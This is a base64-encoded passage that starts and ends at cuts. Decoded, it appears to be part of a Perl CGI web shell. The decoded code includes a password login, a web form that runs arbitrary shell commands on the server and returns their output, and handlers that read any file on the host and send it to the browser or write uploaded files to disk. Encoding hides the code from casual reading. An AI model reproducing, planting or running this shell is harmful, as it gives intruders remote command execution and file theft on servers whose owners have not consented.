tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xz